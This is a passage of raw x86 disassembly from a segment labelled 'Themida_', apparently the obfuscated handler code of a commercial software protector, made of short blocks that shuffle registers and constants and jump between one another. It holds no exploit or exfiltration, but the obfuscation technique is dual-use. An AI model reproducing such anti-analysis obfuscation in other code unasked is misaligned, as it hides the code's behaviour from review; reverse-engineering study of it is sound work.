loc_555C4E: ; CODE XREF: Themida_:00558205j
pop eax
jmp loc_55A4C5
; ---------------------------------------------------------------------------
loc_555C54: ; CODE XREF: Themida_:00557AB0j
xchg ebp, [esp]
pop esp
push ebp
push ecx
push 5A894175h
mov ecx, [esp]
add esp, 4
push 79C4h
mov [esp], ecx
not dword ptr [esp]
pop ecx
dec ecx
dec ecx
sub ecx, 75F88970h
mov ebp, ecx
pop ecx
push ebp
sub dword ptr [esp], 0FFFFFFFFh
pop ebp
neg ebp
shl ebp, 4
neg ebp
push ebp
jmp loc_55A586
; ---------------------------------------------------------------------------
loc_555C92: ; CODE XREF: Themida_:0054F26Bj
mov esp, [esp]
push ecx
jmp loc_5522B1
; ---------------------------------------------------------------------------
loc_555C9B: ; CODE XREF: Themida_:00551431j
add esi, 2ACA6651h
sub esi, 6EED2F57h
add esi, ebx
add esi, 6EED2F57h
sub esi, 2ACA6651h
pop ebx
sub esp, 4
mov [esp], edx
jmp loc_54F65B
; ---------------------------------------------------------------------------
loc_555CC1: ; CODE XREF: Themida_:0054F966j
push ebx
mov ebx, 4
jmp loc_5578F4
; ---------------------------------------------------------------------------
loc_555CCC: ; CODE XREF: Themida_:0055241Dj
sub esp, 4
mov [esp], eax
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop eax
push edi
mov edi, esp
add edi, 4
jmp loc_5598EF
; ---------------------------------------------------------------------------
loc_555D01: ; CODE XREF: Themida_:005570ACj
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_55751E
; ---------------------------------------------------------------------------
loc_555D13: ; CODE XREF: Themida_:0055857Bj
add esi, 41C22198h
push ecx
mov ecx, 0
sub ecx, esi
xchg ecx, esi
mov ecx, [esp]
jmp loc_552069
; ---------------------------------------------------------------------------
loc_555D2B: ; CODE XREF: Themida_:00555D66j
pop ebp
xchg esi, [esp]
mov esp, [esp]
add esp, 4
push dword ptr [esp]
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_558F18
; ---------------------------------------------------------------------------
loc_555D52: ; CODE XREF: Themida_:0055A3AFj
mov esp, [esp]
shr eax, 8
jmp loc_551B6B
; ---------------------------------------------------------------------------
loc_555D5D: ; CODE XREF: Themida_:0054EA84j
mov [esp], ecx
jmp loc_55A74A
; ---------------------------------------------------------------------------
loc_555D65: ; CODE XREF: Themida_:0055561Fj
pop ecx
jmp loc_555D2B
; ---------------------------------------------------------------------------
loc_555D6B: ; CODE XREF: Themida_:0055843Dj
mov ebx, esp
jmp loc_5535F3
; ---------------------------------------------------------------------------
loc_555D72: ; CODE XREF: Themida_:0055304Aj
add esp, 4
jmp loc_54F4A5
; ---------------------------------------------------------------------------
loc_555D7D: ; CODE XREF: Themida_:00552134j
mov ecx, 7B6B018Fh
jmp loc_557264
; ---------------------------------------------------------------------------
loc_555D87: ; CODE XREF: Themida_:0054F0A0j
xor ebp, 0D2179292h
sub edx, ebp
pop ebp
jmp loc_553BA5
; ---------------------------------------------------------------------------
loc_555D95: ; CODE XREF: Themida_:005500BFj
pop edx
sub ch, 9Bh
sub al, ch
jmp loc_552674
; ---------------------------------------------------------------------------
loc_555DA0: ; CODE XREF: Themida_:0054EB7Ej
add esp, 4
jmp loc_550045
; ---------------------------------------------------------------------------
loc_555DA8: ; CODE XREF: Themida_:005560DDj
sub dword ptr [esp], 2F13D6Bh
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 50E84187h
shr eax, 6
sub esp, 4
mov [esp], ebx
mov ebx, 3C707613h
and eax, ebx
pop ebx
push esi
mov esi, 3DD9387Eh
push ebp
jmp loc_552692
; ---------------------------------------------------------------------------
loc_555DE0: ; CODE XREF: Themida_:0055A9F9j
xor esi, 52511B9Dh
add ebp, esi
push dword ptr [esp]
jmp loc_556EF5
; ---------------------------------------------------------------------------
loc_555DF0: ; CODE XREF: Themida_:00554A26j
push ebp
jmp loc_55278F
; ---------------------------------------------------------------------------
loc_555DF6: ; CODE XREF: Themida_:00556256j
xchg edi, [esp]
pop esp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_555DFF: ; CODE XREF: Themida_:00553E9Ej
shl eax, 5
jmp loc_558468
; ---------------------------------------------------------------------------
loc_555E07: ; CODE XREF: Themida_:0055A2E7j
mov dl, ah
mov eax, [esp]
add esp, 4
dec dl
shl dl, 5
shr dl, 4
xor dl, 0B9h
add dl, 0F8h
add al, dl
mov edx, [esp]
jmp loc_554E6F
; ---------------------------------------------------------------------------
loc_555E27: ; CODE XREF: Themida_:00556811j
xor edx, 0BAA1960h
or edx, 181755Ch
add edx, 3CB74273h
sub edx, 2D9983F3h
sub edi, edx
pop edx
dec edi
jmp loc_558FA3
; ---------------------------------------------------------------------------
loc_555E48: ; CODE XREF: Themida_:00559D4Dj
add ebx, 4
jmp loc_550C59
; ---------------------------------------------------------------------------
loc_555E53: ; CODE XREF: Themida_:005506D7j
xor eax, edx
push dword ptr [esp]
jmp loc_55765F
; ---------------------------------------------------------------------------
loc_555E5D: ; CODE XREF: Themida_:0055AE0Bj
shl edx, 1
jmp loc_550FC3
; ---------------------------------------------------------------------------
loc_555E64: ; CODE XREF: Themida_:0054F713j
dec ebp
add ebp, 0E8F56F5h
or ebp, 1935CE8h
sub ebp, 77BFDCD6h
mov edx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_550069
; ---------------------------------------------------------------------------
loc_555E84: ; CODE XREF: Themida_:00556443j
push 1DB91861h
jmp loc_555BC0
; ---------------------------------------------------------------------------
loc_555E8E: ; CODE XREF: Themida_:00554E39j
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_551B5D
; ---------------------------------------------------------------------------
loc_555EA4: ; CODE XREF: Themida_:005509D2j
pop ebp
jmp loc_55AD00
; ---------------------------------------------------------------------------
loc_555EAA: ; CODE XREF: Themida_:00551D53j
add edx, 35E50B5Fh
jmp loc_556FFF
; ---------------------------------------------------------------------------
loc_555EB5: ; CODE XREF: Themida_:00558D7Aj
add esi, 733E2E54h
push ebp
mov ebp, 2148555Eh
dec ebp
inc ebp
sub ebp, 0A51B04C3h
add esi, ebp
pop ebp
add eax, 3EA07B0Ah
jmp loc_555816
; ---------------------------------------------------------------------------
loc_555ED6: ; CODE XREF: Themida_:0055A687j
add esp, 4
add ebx, 4
push esi
push edx
mov edx, 2
mov esi, edx
pop edx
add ebx, esi
mov esi, [esp]
push ebp
mov ebp, esp
jmp loc_55589D
; ---------------------------------------------------------------------------
loc_555EF6: ; CODE XREF: Themida_:0055188Ej
mov [esp], ecx
jmp loc_5570E8
; ---------------------------------------------------------------------------
loc_555EFE: ; CODE XREF: Themida_:00557381j
add eax, 423A1BCFh
sub eax, ebx
sub eax, 423A1BCFh
add eax, 5D0B191Dh
push esi
mov esi, 78742C9Fh
dec esi
add esi, 33BF0551h
xor esi, 0E78F5A57h
jmp loc_557B94
; ---------------------------------------------------------------------------
loc_555F27: ; CODE XREF: Themida_:00557819j
mov [esp], edx
push 63E8h
mov [esp], esp
jmp loc_550B84
; ---------------------------------------------------------------------------
loc_555F37: ; CODE XREF: Themida_:005527FFj
add ebx, 0FEB0872h
jmp loc_55677D
; ---------------------------------------------------------------------------
loc_555F42: ; CODE XREF: Themida_:0055A4C0j
add esi, 2B7E1AAEh
xor esi, 0EA1C523h
add edi, esi
pop esi
sub eax, 0CB680Bh
add eax, 4B990D11h
add eax, edi
sub eax, 4B990D11h
add eax, 0CB680Bh
jmp loc_55418B
; ---------------------------------------------------------------------------
loc_555F6C: ; CODE XREF: Themida_:0054FB36j
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_557160
; ---------------------------------------------------------------------------
loc_555F7F: ; CODE XREF: Themida_:0054F4F9j
xor ebx, 145D01D7h
sub ebx, 7EE04EAEh
xchg ecx, ebx
jmp loc_55A0B7
; ---------------------------------------------------------------------------
loc_555F92: ; CODE XREF: Themida_:00551542j
pop dword ptr [edi+24h]
jmp loc_559296
; ---------------------------------------------------------------------------
loc_555F9A: ; CODE XREF: Themida_:005513B8j
mov [esp], ebx
mov ebx, 4
add eax, ebx
mov ebx, [esp]
jmp loc_5528EA
; ---------------------------------------------------------------------------
loc_555FAC: ; CODE XREF: Themida_:0055ACCCj
add ebx, 5E611422h
shr ebx, 6
sub ebx, 0E4BE3DC6h
jmp loc_552555
; ---------------------------------------------------------------------------
loc_555FC0: ; CODE XREF: Themida_:0055AA66j
add ecx, 3813069Fh
pop edi
sub esp, 4
mov [esp], eax
push 6D97h
mov [esp], ebp
push 6CAE2637h
mov ebp, [esp]
add esp, 4
sub ebp, 12037A3Ah
sub ebp, 0FFFFFFFFh
shr ebp, 8
sub esp, 4
mov [esp], edx
push ebp
push 48E26D70h
pop ebp
and ebp, 58960518h
jmp loc_558600
; ---------------------------------------------------------------------------
loc_55600A: ; CODE XREF: Themida_:00557238j
mov [esp], ebx
mov ebx, 0
sub ebx, edi
xchg ebx, edi
jmp loc_55681D
; ---------------------------------------------------------------------------
loc_55601B: ; CODE XREF: Themida_:00552300j
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 4858h
mov [esp], edx
push ebx
push 13F10901h
mov ebx, [esp]
jmp loc_551D61
; ---------------------------------------------------------------------------
loc_556043: ; CODE XREF: Themida_:00550D0Dj
pop edx
not ebx
or ebx, 43AD22CAh
sub ebx, 0DFEDB2EAh
add ecx, ebx
pop ebx
jmp loc_55670F
; ---------------------------------------------------------------------------
loc_55605A: ; CODE XREF: Themida_:0054F9B5j
push esp
jmp loc_554B2B
; ---------------------------------------------------------------------------
loc_556060: ; CODE XREF: Themida_:0055028Cj
sub eax, 6DB33BD9h
jmp loc_555317
; ---------------------------------------------------------------------------
loc_55606A: ; CODE XREF: Themida_:005573CFj
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55606F: ; CODE XREF: Themida_:0055281Ej
sub ebp, 7CE05DA2h
sub ebp, 351977D1h
add ebp, 15550678h
or ebp, 4D953F3Eh
jmp loc_553D7B
; ---------------------------------------------------------------------------
loc_55608C: ; CODE XREF: Themida_:00556751j
add esp, 4
add edi, 4
xchg edi, [esp]
pop esp
push 23AFh
mov [esp], ecx
mov ecx, 0B8B3091h
and ecx, 1C213059h
shl ecx, 8
jmp loc_5572BA
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5560C0: ; CODE XREF: Themida_:0054F31Bj
and ebx, 3B985203h
jmp loc_554C7F
; ---------------------------------------------------------------------------
loc_5560CB: ; CODE XREF: Themida_:00554FDBj
mov [esp], eax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5560D3: ; CODE XREF: Themida_:0055833Ej
pop ecx
pop ecx
xchg ebp, [esp]
pop esp
mov [esp], ebx
push eax
jmp loc_555DA8
; ---------------------------------------------------------------------------
loc_5560E2: ; CODE XREF: Themida_:00557856j
push eax
push edi
mov edi, 597E5860h
sub [esp+4], edi
pop edi
push dword ptr [esp]
pop edx
push 4570h
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_55A63E
; ---------------------------------------------------------------------------
loc_556107: ; CODE XREF: Themida_:005568A5j
and edi, 2B24533Bh
neg edi
add edi, 22245227h
add eax, edi
pop edi
xchg eax, [esp]
jmp loc_55062C
; ---------------------------------------------------------------------------
loc_556120: ; CODE XREF: Themida_:0055A6D1j
xchg edi, [esp]
pop esp
xchg eax, [esp]
pop esp
test cx, ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_556131: ; CODE XREF: Themida_:005505B8j
mov dl, 0C7h
inc dl
shl dl, 4
and dl, 1Bh
sub dl, 0BAh
add al, dl
pop edx
sub al, 0CAh
add al, 0F9h
jmp loc_552A35
; ---------------------------------------------------------------------------
loc_55614A: ; CODE XREF: Themida_:0054FE75j
mov ecx, [esp]
add esp, 4
add esp, 4
push 73CAh
mov [esp], ebx
push esp
pop ebx
jmp loc_551567
; ---------------------------------------------------------------------------
loc_556165: ; CODE XREF: Themida_:00558D95j
add edx, 2AE3661Ch
jmp loc_54FCA5
; ---------------------------------------------------------------------------
loc_556170: ; CODE XREF: Themida_:00556A28j
sub edx, 3BECBCF9h
add ebx, edx
jmp loc_554B7F
; ---------------------------------------------------------------------------
loc_55617D: ; CODE XREF: Themida_:00554289j
mov ebp, esi
pop esi
sub ebp, 47526A5h
neg ebp
shl ebp, 8
sub ebp, 238D5BDDh
sub ebp, 2B546021h
mov edx, ebp
jmp loc_5525A3
; ---------------------------------------------------------------------------
loc_55619E: ; CODE XREF: Themida_:005535BFj
add bl, dh
add bl, 0C4h
jmp loc_5542B9
; ---------------------------------------------------------------------------
loc_5561A8: ; CODE XREF: Themida_:00559220j
mov edi, esp
add edi, 4
jmp loc_55A6CE
; ---------------------------------------------------------------------------
loc_5561B5: ; CODE XREF: Themida_:00551FFBj
pop esp
mov [esp], edi
sub esp, 4
jmp loc_553A6D
; ---------------------------------------------------------------------------
loc_5561C1: ; CODE XREF: Themida_:0055148Bj
add eax, 4
xchg eax, [esp]
pop esp
push esi
jmp loc_54F98F
; ---------------------------------------------------------------------------
loc_5561CE: ; CODE XREF: Themida_:0055A713j
add esi, edi
push edi
mov edi, 5FB46343h
neg edi
jmp loc_55A8F0
; ---------------------------------------------------------------------------
loc_5561DD: ; CODE XREF: Themida_:00551702j
mov edi, esi
pop esi
add edi, 597D2E23h
sub edi, 718F5604h
jmp loc_559006
; ---------------------------------------------------------------------------
loc_5561F1: ; CODE XREF: Themida_:0055A1B5j
mov eax, [esp]
add esp, 4
xor eax, 5EDE3BB6h
jmp loc_559EA9
; ---------------------------------------------------------------------------
loc_556201: ; CODE XREF: Themida_:0055471Cj
add ecx, 2BFE31A8h
mov edi, ecx
pop ecx
shl edi, 1
add edi, 38F51DAAh
sub ecx, 3813069Fh
jmp loc_55AA64
; ---------------------------------------------------------------------------
loc_55621D: ; CODE XREF: Themida_:0055923Cj
mov esi, 7DB548D6h
add esi, 7BF6829h
dec esi
add esi, 0E6515361h
add esi, 0A43225ADh
add eax, esi
jmp loc_5504F0
; ---------------------------------------------------------------------------
loc_55623C: ; CODE XREF: Themida_:00551EF4j
pop eax
or [edi+1Ch], ecx
push dword ptr [esp]
pop ecx
push edi
mov edi, esp
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
jmp loc_555DF6
; ---------------------------------------------------------------------------
loc_55625B: ; CODE XREF: Themida_:00552916j
mov [esp], edx
push 0BA4h
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push edi
mov edi, 4
add edx, edi
pop edi
push ebp
mov ebp, 4
jmp loc_55591F
; ---------------------------------------------------------------------------
loc_556287: ; CODE XREF: Themida_:00554C5Ej
sub eax, 572F25EFh
jmp loc_55923B
; ---------------------------------------------------------------------------
loc_556291: ; CODE XREF: Themida_:00552C67j
mov dx, [esp]
push eax
push esp
push dword ptr [esp]
pop eax
add esp, 4
push ecx
mov ecx, 4
jmp loc_556619
; ---------------------------------------------------------------------------
loc_5562AC: ; CODE XREF: Themida_:00550767j
mov edi, edx
pop edx
mov ebp, 402005Dh
jmp loc_5554F5
; ---------------------------------------------------------------------------
loc_5562B9: ; CODE XREF: Themida_:0055A1E2j
sub eax, edi
pop edi
push esi
sub esp, 4
mov [esp], edx
jmp loc_54F718
; ---------------------------------------------------------------------------
loc_5562CB: ; CODE XREF: Themida_:005510E9j
add ecx, eax
pop eax
jmp loc_55755B
; ---------------------------------------------------------------------------
loc_5562D3: ; CODE XREF: Themida_:00551861j
pop ebx
dec esi
shr esi, 1
xor esi, 470F7CD4h
jmp loc_551ABB
; ---------------------------------------------------------------------------
loc_5562E2: ; CODE XREF: Themida_:00550A24j
mov bl, ah
pop eax
xor al, bl
mov bx, [esp]
push 5060h
mov [esp], eax
mov eax, esp
sub esp, 4
mov [esp], ebp
jmp loc_551114
; ---------------------------------------------------------------------------
loc_556303: ; CODE XREF: Themida_:00556E73j
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
mov eax, [esp]
add esp, 4
push ebx
jmp loc_54F492
; ---------------------------------------------------------------------------
loc_55631B: ; CODE XREF: Themida_:00550A80j
mov esi, 0D2D0AA2h
jmp loc_55ABB7
; ---------------------------------------------------------------------------
loc_556325: ; CODE XREF: Themida_:0055443Cj
sub ebx, 6AD92921h
jmp loc_559560
; ---------------------------------------------------------------------------
loc_556330: ; CODE XREF: Themida_:00551177j
mov bh, al
mov dl, bh
push dword ptr [esp]
jmp loc_550557
; ---------------------------------------------------------------------------
loc_55633C: ; CODE XREF: Themida_:00551CAEj
shr eax, 10h
xor eax, ecx
push 773Dh
mov [esp], eax
not dword ptr [esp]
push dword ptr [esp]
jmp loc_559195
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55559C
; ---------------------------------------------------------------------------
loc_55635D: ; CODE XREF: Themida_:0054EC0Dj
xor edi, 4E081A24h
xor edx, edi
pop edi
add edx, 0A96C1AD4h
jmp loc_559C35
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_55166F
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebx
push 6455h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebx
push edx
mov edx, 4
add ebx, edx
pop edx
push eax
push edx
mov edx, 6BF169B4h
jmp loc_55547A
; ---------------------------------------------------------------------------
loc_5563B2: ; CODE XREF: Themida_:0055ADC9j
pop eax
add ebp, 4
xchg ebp, [esp]
jmp loc_5519A5
; ---------------------------------------------------------------------------
loc_5563BE: ; CODE XREF: Themida_:0055109Dj
mov [esp], ebx
mov ebx, esp
jmp loc_559DFC
; ---------------------------------------------------------------------------
loc_5563C8: ; CODE XREF: Themida_:005508ABj
inc ebp
sub ebp, 0D4D493E8h
sub edx, 4B5E41BEh
push edi
mov edi, 0E4214F7h
sub edx, edi
pop edi
push esi
jmp loc_559209
; ---------------------------------------------------------------------------
loc_5563E4: ; CODE XREF: Themida_:0054FAF6j
mov esi, [esp]
add esp, 4
add edi, ecx
add edi, 41040E92h
sub esp, 4
jmp loc_556AA9
; ---------------------------------------------------------------------------
loc_5563FD: ; CODE XREF: Themida_:005546A1j
or ecx, 4EA85953h
add ecx, 156042Fh
sub edi, ecx
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_55A0FC
; ---------------------------------------------------------------------------
loc_556423: ; CODE XREF: Themida_:00558A01j
pop ebp
xchg eax, [esp]
mov esp, [esp]
push 82Ch
mov [esp], edx
mov edx, 59CF64BBh
shl edx, 4
push ebp
push 389Bh
mov [esp], esi
jmp loc_555E84
; ---------------------------------------------------------------------------
loc_556448: ; CODE XREF: Themida_:00557788j
pop edi
add esp, 4
add edi, 4
push edx
jmp loc_55428E
; ---------------------------------------------------------------------------
loc_55645B: ; CODE XREF: Themida_:00552550j
add esi, 4
push eax
mov eax, 4
add esi, eax
pop eax
xchg esi, [esp]
pop esp
push edx
mov dl, 45h
push ecx
mov ch, 0E3h
sub al, ch
jmp loc_557A46
; ---------------------------------------------------------------------------
loc_55647B: ; CODE XREF: Themida_:00557CECj
push 4
jmp loc_5589FE
; ---------------------------------------------------------------------------
loc_556485: ; CODE XREF: Themida_:00558252j
xor ebx, edi
pop edi
jmp loc_54F9DC
; ---------------------------------------------------------------------------
loc_55648D: ; CODE XREF: Themida_:0055AB17j
add edx, ecx
add edx, 35BE6028h
pop ecx
add edx, 93F8D2FAh
add eax, edx
pop edx
push 4786h
mov [esp], esi
mov esi, esp
add esi, 4
push ebx
mov ebx, 4
sub esi, ebx
pop ebx
xchg esi, [esp]
pop esp
mov [esp], edx
jmp loc_551C0B
; ---------------------------------------------------------------------------
loc_5564C4: ; CODE XREF: Themida_:00554A2Dj
sub esp, 4
mov [esp], ebp
push ebx
push 376A36AAh
pop ebx
not ebx
jmp loc_5594BE
; ---------------------------------------------------------------------------
loc_5564DB: ; CODE XREF: Themida_:0054F081j
mov esp, [esp]
jmp loc_553EA9
; ---------------------------------------------------------------------------
loc_5564E3: ; CODE XREF: Themida_:005503C4j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push 7D3Eh
mov [esp], ecx
mov ecx, esp
push esi
mov esi, 228A1DB1h
sub esi, 423F171Ch
sub esi, 75EE0579h
xor esi, 1DF8376Dh
xor esi, 0AB1BC0h
shr esi, 4
sub esi, 770E2D7h
add ecx, esi
mov esi, [esp]
add esp, 4
push edx
jmp loc_550D12
; ---------------------------------------------------------------------------
loc_556544: ; CODE XREF: Themida_:00558D62j
mov ebx, 4
sub edx, 14E00245h
push ebp
mov ebp, 6C56790Ah
jmp loc_55A422
; ---------------------------------------------------------------------------
loc_55655A: ; CODE XREF: Themida_:00551933j
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edi
push 440E25F0h
pop edi
push eax
mov eax, 430E25F0h
sub edi, eax
jmp loc_54FFC9
; ---------------------------------------------------------------------------
loc_556580: ; CODE XREF: Themida_:00557CDDj
push esi
jmp loc_558F92
; ---------------------------------------------------------------------------
loc_556586: ; CODE XREF: Themida_:00556ED5j
mov ebp, edx
mov edx, [esp]
add esp, 4
push 64C4h
mov [esp], ebp
push 4FEC5E2Eh
pop ebp
push esi
mov esi, 782B5FF4h
sub ebp, esi
pop esi
mov [edi+20h], ebp
jmp loc_557BF7
; ---------------------------------------------------------------------------
loc_5565AD: ; CODE XREF: Themida_:00559C17j
add dword ptr [esp], 51BC1DE3h
pop ecx
sub ecx, 51BC1DE3h
pop esi
or ecx, 605A48DEh
sub ecx, 5282F9Fh
push eax
push ecx
jmp loc_558351
; ---------------------------------------------------------------------------
loc_5565CF: ; CODE XREF: Themida_:005571EEj
mov esi, 138C7A48h
add esi, 1
not esi
shl esi, 2
shr esi, 7
inc esi
sub esi, 1639C2Ah
add eax, esi
mov esi, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push esi
mov esi, 2
sub eax, 5A9366BDh
add eax, esi
add eax, 5A9366BDh
mov esi, [esp]
jmp loc_55A99A
; ---------------------------------------------------------------------------
loc_556619: ; CODE XREF: Themida_:005562A7j
push edi
mov edi, 46BF2C28h
sub eax, edi
pop edi
add eax, ecx
add eax, 46BF2C28h
mov ecx, [esp]
add esp, 4
jmp loc_54F989
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push edi
push esp
pop edi
add edi, 4
sub esp, 4
jmp loc_55525F
; ---------------------------------------------------------------------------
loc_55664B: ; CODE XREF: Themida_:00556CFAj
add ebx, edi
push edi
mov edi, 4C9F7274h
add ebx, 14400B7Eh
sub ebx, edi
push ecx
mov ecx, 14400B7Eh
sub ebx, ecx
pop ecx
pop edi
jmp loc_555267
; ---------------------------------------------------------------------------
loc_55666A: ; CODE XREF: Themida_:00552087j
sub ebx, 236D69DCh
sub ebx, edx
push ecx
mov ecx, 0EAE423Ch
dec ecx
neg ecx
add ecx, 70A2759Bh
sub ecx, 3E86C984h
add ebx, ecx
pop ecx
push esi
push ebx
push 6D0F51B6h
pop ebx
add ebx, 0E5190149h
mov esi, ebx
pop ebx
jmp loc_556A9E
; ---------------------------------------------------------------------------
loc_5566A0: ; CODE XREF: Themida_:00554A19j
push ebx
mov ebx, 3B336DAFh
jmp loc_55402D
; ---------------------------------------------------------------------------
loc_5566AB: ; CODE XREF: Themida_:005585FBj
mov esp, [esp]
push esp
pop dword ptr [esp]
jmp loc_55097C
; ---------------------------------------------------------------------------
loc_5566B7: ; CODE XREF: Themida_:0055230Dj
mov esi, 7C76684Fh
and esi, 2D6F44CAh
push 1EAFh
jmp loc_5574CD
; ---------------------------------------------------------------------------
loc_5566CC: ; CODE XREF: Themida_:00558F8Dj
shl ebp, 6
dec ebp
sub ebp, 92A1689Bh
and edx, ebp
pop ebp
shl edx, 7
shl edx, 2
push eax
mov eax, 200803FCh
xor edx, eax
pop eax
jmp loc_5569E0
; ---------------------------------------------------------------------------
loc_5566ED: ; CODE XREF: Themida_:00559E1Bj
add esi, 4
add esi, 4
jmp loc_559CDD
; ---------------------------------------------------------------------------
loc_5566FB: ; CODE XREF: Themida_:0054EEB8j
push dword ptr [esp]
pop ecx
jmp loc_553F9F
; ---------------------------------------------------------------------------
loc_556704: ; CODE XREF: Themida_:0055A2C3j
sub esi, 0CC8C5130h
jmp loc_55598F
; ---------------------------------------------------------------------------
loc_55670F: ; CODE XREF: Themida_:00556055j
push ebx
mov ebx, 4
add ecx, ebx
mov ebx, [esp]
add esp, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_553B4E
; ---------------------------------------------------------------------------
loc_556728: ; CODE XREF: Themida_:0055472Bj
pop ebx
add edi, ebx
add edi, 5AD6262Fh
pop ebx
std
sub esp, 4
mov [esp], eax
mov eax, 0Ah
push 4168h
mov [esp], ebx
jmp loc_55242D
; ---------------------------------------------------------------------------
loc_55674B: ; CODE XREF: Themida_:00551D1Fj
pop ecx
add edi, esi
mov esi, [esp]
jmp loc_55608C
; ---------------------------------------------------------------------------
loc_556756: ; CODE XREF: Themida_:0055B1CBj
push esp
pop dword ptr [esp]
push ebp
mov ebp, 4
add [esp+4], ebp
mov ebp, [esp]
add esp, 4
jmp loc_550925
; ---------------------------------------------------------------------------
loc_556772: ; CODE XREF: Themida_:0054FFD8j
and eax, edx
mov edx, [esp]
push ecx
jmp loc_555289
; ---------------------------------------------------------------------------
loc_55677D: ; CODE XREF: Themida_:00555F3Dj
pop edi
add ebx, ecx
push ecx
jmp loc_553B72
; ---------------------------------------------------------------------------
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_557F93
; ---------------------------------------------------------------------------
loc_556797: ; CODE XREF: Themida_:00552434j
mov [esp], eax
jmp loc_553AFC
; ---------------------------------------------------------------------------
loc_55679F: ; CODE XREF: Themida_:0054F98Aj
mov ecx, 175938F0h
sub ecx, 175938EEh
add eax, ecx
pop ecx
jmp loc_5576FE
; ---------------------------------------------------------------------------
loc_5567B2: ; CODE XREF: Themida_:00556EB2j
add eax, ecx
jmp loc_557971
; ---------------------------------------------------------------------------
loc_5567B9: ; CODE XREF: Themida_:00553CD1j
or edi, 7B0F070Ch
shr edi, 8
jmp loc_54ECE1
; ---------------------------------------------------------------------------
loc_5567C7: ; CODE XREF: Themida_:0054FD1Bj
pop edi
add eax, 2
push eax
jmp loc_550EF7
; ---------------------------------------------------------------------------
loc_5567D1: ; CODE XREF: Themida_:0055259Ej
push dword ptr [esp]
pop edi
add esp, 4
add edi, 4
jmp loc_556CEB
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5567EE: ; CODE XREF: Themida_:00550730j
and dh, 0AAh
dec dh
sub dh, 96h
add bl, dh
jmp loc_5590D9
; ---------------------------------------------------------------------------
loc_5567FD: ; CODE XREF: Themida_:0055A08Dj
push ecx
mov ecx, edx
jmp loc_54EEBD
; ---------------------------------------------------------------------------
loc_556805: ; CODE XREF: Themida_:00552E72j
and edi, 5A723B53h
push edx
mov edx, 225717F9h
jmp loc_555E27
; ---------------------------------------------------------------------------
loc_556816: ; CODE XREF: Themida_:00555C3Dj
not ecx
jmp loc_54F563
; ---------------------------------------------------------------------------
loc_55681D: ; CODE XREF: Themida_:00556016j
pop ebx
push esi
mov esi, 1820242Eh
jmp loc_5512C8
; ---------------------------------------------------------------------------
loc_556829: ; CODE XREF: Themida_:00559BB2j
mov eax, 4
add edx, eax
mov eax, [esp]
add esp, 4
xchg edx, [esp]
jmp loc_552A9D
; ---------------------------------------------------------------------------
loc_55683E: ; CODE XREF: Themida_:00558131j
pop edx
push edx
mov dh, ah
jmp loc_554E68
; ---------------------------------------------------------------------------
loc_556847: ; CODE XREF: Themida_:0054FD07j
pop ecx
sub edi, esi
pop esi
push eax
mov eax, 5B0C351Ch
shr eax, 6
shr eax, 3
inc eax
or eax, 3B22112Bh
push edx
mov edx, 7F5A4C1Ah
add eax, edx
pop edx
add eax, 4782752Bh
add ebx, 40EF2DEBh
add ebx, eax
sub ebx, 40EF2DEBh
pop eax
sub ebx, edi
sub ebx, 20C5880h
pop edi
push edx
mov edx, 71F34D79h
inc edx
add edx, 12F00265h
sub edx, 631CE81Dh
add ebx, edx
jmp loc_5578DE
; ---------------------------------------------------------------------------
loc_55689D: ; CODE XREF: Themida_:00550627j
not edi
xor edi, 17D46B5h
jmp loc_556107
; ---------------------------------------------------------------------------
loc_5568AA: ; CODE XREF: Themida_:00554F38j
mov dh, 70h
xor dh, bh
mov ebx, [esp]
add esp, 4
sub al, dh
push dword ptr [esp]
pop edx
jmp loc_55B21E
; ---------------------------------------------------------------------------
loc_5568C2: ; CODE XREF: Themida_:00553261j
pop esi
push 2402h
jmp loc_5521D9
; ---------------------------------------------------------------------------
loc_5568CD: ; CODE XREF: Themida_:00559505j
add al, 1Dh
add al, 0E0h
jmp loc_55797A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5568E6: ; CODE XREF: Themida_:00551CEAj
pop eax
and ebp, 724E74E1h
inc ebp
jmp loc_5569BA
; ---------------------------------------------------------------------------
loc_5568F3: ; CODE XREF: Themida_:00550950j
mov ecx, [esp]
